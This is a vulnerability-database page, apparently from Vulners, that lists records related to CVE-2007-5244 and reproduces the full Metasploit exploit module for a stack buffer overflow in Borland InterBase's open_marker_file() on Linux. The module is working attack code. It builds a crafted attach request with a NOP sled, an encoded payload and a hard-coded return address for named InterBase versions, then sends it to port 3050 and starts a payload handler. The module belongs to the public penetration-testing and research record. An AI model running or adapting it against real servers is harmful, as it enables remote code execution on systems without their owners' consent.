Lucene search
+L

Borland InterBase open_marker_file() Buffer Overflow

🗓️ 04 Oct 2007 03:03:13Reported by Ramon de C Valle <[email protected]>, Adriano Lima <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 35 Views

Borland InterBase stack buffer overflow exploi

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2007-5244
3 Jul 201000:00
circl
cve
CVE
CVE-2007-5244
6 Oct 200717:00
cve
cvelist
Cvelist
CVE-2007-5244
6 Oct 200717:00
cvelist
exploitdb
Exploit DB
Borland Interbase 2007/2007 SP2 - 'open_marker_file' Remote Buffer Overflow (Metasploit)
3 Oct 200700:00
exploitdb
exploitdb
Exploit DB
Borland Interbase - 'open_marker_file()' Remote Buffer Overflow (Metasploit)
3 Jul 201000:00
exploitdb
exploitpack
exploitpack
Borland Interbase 20072007 SP2 - open_marker_file Remote Buffer Overflow (Metasploit)
3 Oct 200700:00
exploitpack
nvd
NVD
CVE-2007-5244
6 Oct 200717:17
nvd
packetstorm
Packet Storm
Borland InterBase open_marker_file() Buffer Overflow
27 Oct 200900:00
packetstorm
prion
Prion
Stack overflow
6 Oct 200717:17
prion
prion
Prion
Stack overflow
22 Apr 200804:41
prion
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'		=> 'Borland InterBase open_marker_file() Buffer Overflow',
      'Description'	=> %q{
        This module exploits a stack buffer overflow in Borland InterBase
        by sending a specially crafted attach request.
      },
      'Author'	=>
        [
          'Ramon de C Valle',
          'Adriano Lima <adriano[at]risesecurity.org>',
        ],
      'Arch'		=> ARCH_X86,
      'Platform'	=> 'linux',
      'References'	=>
        [
          [ 'CVE', '2007-5244' ],
          [ 'OSVDB', '38610' ],
          [ 'BID', '25917' ],
          [ 'URL', 'http://www.risesecurity.org/advisories/RISE-2007002.txt' ],
        ],
      'Privileged'	=> true,
      'License'	=> MSF_LICENSE,
      'Payload'	=>
        {
          'Space' => 512,
          'BadChars' => "\x00\x2f\x3a\x40\x5c",
        },
      'Targets'	=>
        [
          # 0x0804cbe4 pop esi; pop ebp; ret
          [
            'Borland InterBase LI-V8.0.0.53 LI-V8.0.0.54 LI-V8.1.0.253',
            { 'Ret' => 0x0804cbe4 }
          ],
        ],
      'DefaultTarget'	=> 0,
      'DisclosureDate'  => '2007-10-03'
    ))

    register_options(
      [
        Opt::RPORT(3050)
      ],
      self.class
    )

  end

  def exploit

    connect

    # Attach database
    op_attach = 19

    length = 1056
    remainder = length.remainder(4)
    padding = 0

    if remainder > 0
      padding = (4 - remainder)
    end

    buf = ''

    # Operation/packet type
    buf << [op_attach].pack('N')

    # Id
    buf << [0].pack('N')

    # Length
    buf << [length].pack('N')

    # It will return into this nop block
    buf << make_nops(length - payload.encoded.length - 4)

    # Payload
    buf << payload.encoded

    # Target
    buf << [target.ret].pack('V')

    # Padding
    buf << "\x00" * padding

    # Database parameter block

    # Length
    buf << [1024].pack('N')

    # Random alpha data
    buf << rand_text_alpha(1024)

    sock.put(buf)

    handler

  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation